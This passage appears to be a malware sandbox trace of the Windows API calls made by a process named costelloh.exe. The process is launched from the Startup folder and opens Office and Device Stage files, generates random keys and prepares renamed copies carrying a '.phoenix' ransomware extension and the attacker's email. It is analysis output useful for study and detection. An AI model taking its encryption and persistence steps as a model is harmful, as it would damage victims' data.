	[0213.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.816] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.816] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.816] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.818] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=731118) returned 1
	[0213.818] CloseHandle (hObject=0x548) returned 1
	[0213.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.820] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.820] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.820] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.820] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=86894) returned 1
	[0213.820] CloseHandle (hObject=0x548) returned 1
	[0213.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml")) returned 0x20
	[0213.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.822] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.824] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=3304) returned 1
	[0213.824] CloseHandle (hObject=0x548) returned 1
	[0213.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml")) returned 0x20
	[0213.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.825] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.825] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=3238) returned 1
	[0213.825] CloseHandle (hObject=0x548) returned 1
	[0213.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml")) returned 0x20
	[0213.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.826] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.849] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.849] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0213.863] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=129745) returned 1
	[0213.863] CloseHandle (hObject=0x528) returned 1
	[0213.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png")) returned 0x20
	[0213.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.863] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.864] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0213.864] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0214.056] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=44488) returned 1
	[0214.056] CloseHandle (hObject=0x23c) returned 1
	[0214.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png")) returned 0x20
	[0214.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.056] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.056] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0214.056] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0214.081] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=39379) returned 1
	[0214.081] CloseHandle (hObject=0x52c) returned 1
	[0214.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png")) returned 0x20
	[0214.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.351] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0214.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0214.372] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=1743) returned 1
	[0214.372] CloseHandle (hObject=0x530) returned 1
	[0214.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml")) returned 0x20
	[0214.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.373] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.375] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x40dfea0 | out: pbBuffer=0x40dfea0) returned 1
	[0214.375] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0214.395] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x40dfe40 | out: lpFileSize=0x40dfe40*=1334) returned 1
	[0214.395] CloseHandle (hObject=0x534) returned 1
	[0214.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml")) returned 0x20
	[0214.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.395] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0214.395] CryptImportKey (in: hProv=0x616790, pbData=0x40dfde8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x40dfe50 | out: phKey=0x40dfe50*=0x6656d8) returned 1
	[0214.395] CryptSetKeyParam (hKey=0x6656d8, dwParam=0x1, pbData=0x40dfe38, dwFlags=0x0) returned 1
	[0214.395] CryptDecrypt (in: hKey=0x6656d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd29610, pdwDataLen=0x40dfe04 | out: pbData=0xd29610, pdwDataLen=0x40dfe04) returned 1
	[0214.395] CryptDestroyKey (hKey=0x6656d8) returned 1
	[0214.395] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0214.396] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x74af6b50
	[0214.396] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1
	[0214.396] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29610 | out: hHeap=0xd20000) returned 1

Process:
	id = "10"
	image_name = "costelloh.exe"
	filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe"
	page_root = "0x5a5f000"
	os_pid = "0x828"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\costelloh.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 47
	os_tid = 0xa20

	[0206.716] GetStartupInfoW (in: lpStartupInfo=0xd5fb54 | out: lpStartupInfo=0xd5fb54*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0206.716] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0206.716] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2c00000
	[0206.722] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0206.722] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsAlloc") returned 0x74af4ae0
	[0206.723] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsGetValue") returned 0x74af4b20
	[0206.723] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsSetValue") returned 0x74af4b40
	[0206.723] GetProcAddress (hModule=0x74ae0000, lpProcName="FlsFree") returned 0x74af4b00
	[0206.724] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x214) returned 0x2c005a8
	[0206.724] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0206.724] GetCurrentThreadId () returned 0xa20
	[0206.724] GetStartupInfoW (in: lpStartupInfo=0xd5faf0 | out: lpStartupInfo=0xd5faf0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x9b71aa, hStdOutput=0x9b74e3, hStdError=0x2c005a8)) 
	[0206.724] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x8, Size=0x800) returned 0x2c007c8
	[0206.724] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0206.724] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0206.724] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0206.724] SetHandleCount (uNumber=0x20) returned 0x20
	[0206.724] GetCommandLineA () returned="\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\costelloh.exe\" "
	[0206.724] GetEnvironmentStringsW () returned 0x103f4c0*
	[0206.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1410
	[0206.724] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x582) returned 0x2c00fd0
	[0206.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x2c00fd0, cbMultiByte=1410, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1410
	[0206.725] FreeEnvironmentStringsW (penv=0x103f4c0) returned 1
	[0206.725] GetLastError () returned 0xcb
	[0206.725] SetLastError (dwErrCode=0xcb) 
	[0206.725] GetLastError () returned 0xcb
	[0206.725] SetLastError (dwErrCode=0xcb) 
	[0206.725] GetLastError () returned 0xcb
	[0206.725] SetLastError (dwErrCode=0xcb) 
	[0206.725] GetACP () returned 0x4e4
	[0206.725] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x220) returned 0x2c01560
	[0206.725] GetLastError () returned 0xcb
	[0206.725] SetLastError (dwErrCode=0xcb) 
	[0206.725] IsValidCodePage (CodePage=0x4e4) returned 1
	[0206.726] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xd5fab8 | out: lpCPInfo=0xd5fab8) returned 1
	[0206.726] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xd5f584 | out: lpCPInfo=0xd5f584) returned 1
	[0206.726] GetLastError () returned 0xcb
	[0206.726] SetLastError (dwErrCode=0xcb) 
	[0206.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd5f998, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0206.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd5f998, cbMultiByte=256, lpWideCharStr=0xd5f308, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
